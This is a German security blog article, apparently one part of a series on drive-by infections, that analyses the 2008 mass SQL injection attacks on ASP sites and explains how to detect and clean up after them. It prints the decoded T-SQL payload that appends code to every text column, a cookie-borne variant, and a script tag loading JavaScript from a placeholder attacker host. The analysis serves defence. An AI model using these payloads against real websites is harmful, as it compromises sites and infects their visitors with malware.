Dipl.-Inform. Carsten Eilers

Der schon 2008 im Rahmen der SQL-Injection-Angriffe auf ASP- und ASPX-Anwendungen eingesetzte Code wurde z.B. von F-Secure veröffentlicht und beginnt mit

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C
00410052004500200040005400200076006100720063006800610072...

Im Handler's Diary des Internet Storm Center (ISC) wurde ein solcher Angriff analysiert. Der dekodierte SQL-Code sieht folgendermaßen aus:

DECLARE @T varchar(255),@C varchar(255) 
DECLARE Table_Cursor CURSOR 
FOR select a.name,b.name 
   from sysobjects a,syscolumns b 
   where a.id=b.id and a.xtype='u' 
   and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
BEGIN 
  exec('update ['+@T+'] 
  set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[Schadcode]'' ')
  FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Über einen Tabellen-Cursor in Form der Variablen Table_Cursor werden alle Tabellen und die zugehörigen Spalten ermittelt,
• deren Typ ntext, text, nvarchar oder varchar ist
UND
• die eine Benutzer- und keine Systemtabelle sind.
Danach wird das Ergebnis in einer WHILE-Schleife durchlaufen, die an jedes gefundene Feld den Schadcode anhängt, der im Quelltext an der Stelle von [Schadcode] stehen würde. Dabei werden die vorhandenen Daten in den Typ varchar umgewandelt und führende Leerzeichen entfernt.

Dieser Code wird für jeden gefundenen Parameter eingegeben. Wird die Eingabe ungeprüft in einer SQL-Abfrage eingefügt, so dass SQL-Injection möglich ist, wird er ausgeführt und die Website ist für Drive-by-Infektionen präpariert.

Der Schadcode bestand meist aus einem script-Tag zum Nachladen des eigentlichen JavaScript-Skripts zur Installation der Schadsoftware auf dem Client:

<script src=http://www.boeser-server.example/pfad/zum/skript.js></script>

Was dieses Skript macht, wird in einer zukünftigen Folge beschrieben.

Während 2008 und 2010 bei den meisten SQL-Injection-Angriffen GET-Parameter verwendet wurden, wurde nahezu identischer SQL-Injection-Code im Dezember 2008 als Cookie-Parameter übertragen:

Cookie: ref=ef';DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542...

Ebenso können natürlich auch POST-Parameter manipuliert werden. Wie ein Parameter übertragen wird, ist also egal - über jeden kann ein Angriff(sversuch) erfolgen.

SQL-Injection-Angriffe erkennen

Die SQL-Injection-Angriffe erkennt man an entsprechenden Einträgen in den Logfiles der Web- und Datenbankserver. Taucht dort irgendwo eine Eingabe wie z.B. das oben genannte DECLARE%20@S%20NVARCHAR... auf, wurde der Server angegriffen. Das Beispiel ist natürlich nur ein möglicher SQL-Injection-Angriff, der SQL-Code kann auch anders formuliert und/oder kodiert werden. Auffallend ist aber fast immer die Länge der Eingabe, die sich evtl. auch mehrmals wiederholt, wenn sie für mehrere mögliche Parameter eingegeben wurde. Auffallend lange Eingaben, insbesondere für einen Parameter, der normalerweise nur kurze Eingaben erfordert, sollten daher immer genauer auf einen möglichen Angriff hin untersucht werden.

Ob ein SQL-Injection-Angriff erfolgreich war oder nicht, ist aus den Logfiles nicht ersichtlich. War er erfolgreich, ist der eingeschleuste Schadcode in der Datenbank zu finden. Bei der oben vorgestellten "Vorschlaghammermethode" wird der Schadcode in jedes Textfeld geschrieben, unabhängig von dessen eigentlichem Inhalt. Das Auftauchen von iframes oder script-Tags in Feldern, in denen sie nichts zu suchen haben, z.B. einem, das als Text für das title-Tag verwendet wird, ist daher ein sicheres Indiz für einen erfolgreichen Angriff.

Bei einem gezielteren Angriff, bei dem nur Felder manipuliert werden, in denen der eingeschleuste Code theoretisch vorkommen kann, wird das Erkennen eines Angriffs schwieriger. Leider gibt es kein allgemein gültiges, eindeutiges Erkennungsmuster für den Schadcode, aber mit etwas Glück können Sie für ihre eigene Webanwendung eines ermitteln. Um den JavaScript-Code zum Einschleusen des Schadcodes auf dem Client nachzuladen, werden script-Tags oder iframes verwendet, außerdem ist für das Nachladen des Codes die Angabe von "http://" erforderlich. Kommen entsprechende Zeichenketten normalerweise nicht in der Datenbank vor, ist ihr Auftauchen ein sicherer Hinweis für einen erfolgreichen Angriff.

Enthält die Datenbank auch im normalen Betrieb die entsprechenden Tags und "http://"-Strings, wird das Erkennen von Angriffen schwierig. Als Domainname für die Server mit den nachzuladenden Dateien werden meist zufällig gebildete Zeichenketten verwendet, und die Dateien können natürlich ebenfalls beliebig benannt werden. Sofern Sie nicht nach einem bekannten Muster einer laufenden Angriffswelle suchen, ist dann nur noch die regelmäßige Wiederholung des eingeschleusten iframes oder script-Tags auffällig. Besteht der Verdacht, dass die Datenbank manipuliert wurde, hilft dann nur eine manuelle Kontrolle aller verdächtigen Einträge.

Nach dem Angriff: Großreinemachen

Erkannter eingeschleuster Schadcode muss natürlich entfernt werden, aber solange die vorhandene SQL-Injection-Schwachstelle nicht behoben wurde, sind entsprechende Angriffe immer wieder möglich. Daher sollte der betroffene Server vom Netz genommen werden, bis der eingeschleuste Schadcode vollständig entfernt und die vorhandenen SQL-Injection-Schwachstellen behoben wurden. Werden die Schwachstellen nicht beseitigt, dauert es i.A. nicht lange, bis der Server erneut von den Cyberkriminellen besucht und für Drive-by-Infektionen präpariert wird.

SQL-Injection ist nur eine Möglichkeit, einer harmlosen Website Code für Drive-by-Infektionen unter zu schieben. Weitere Möglichkeiten werden in der nächsten Folge behandelt.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall

Drive-by-Infektionen durch SQL-Injection vorbereitet

Drive-by-Infektionen: So kommt der Schadcode auf den Server

Drive-by-Infektionen - Vom Server auf den Client

Drive-by-Infektionen - Ein Blick auf die Exploits

Drive-by-Infektionen erkennen und abwehren

LizaMoon - Massenhack mit minimalen Folgen

Aktuelles: LizaMoon auf Apples iTunes-Seiten

Drive-by-Infektionen über präparierte Werbung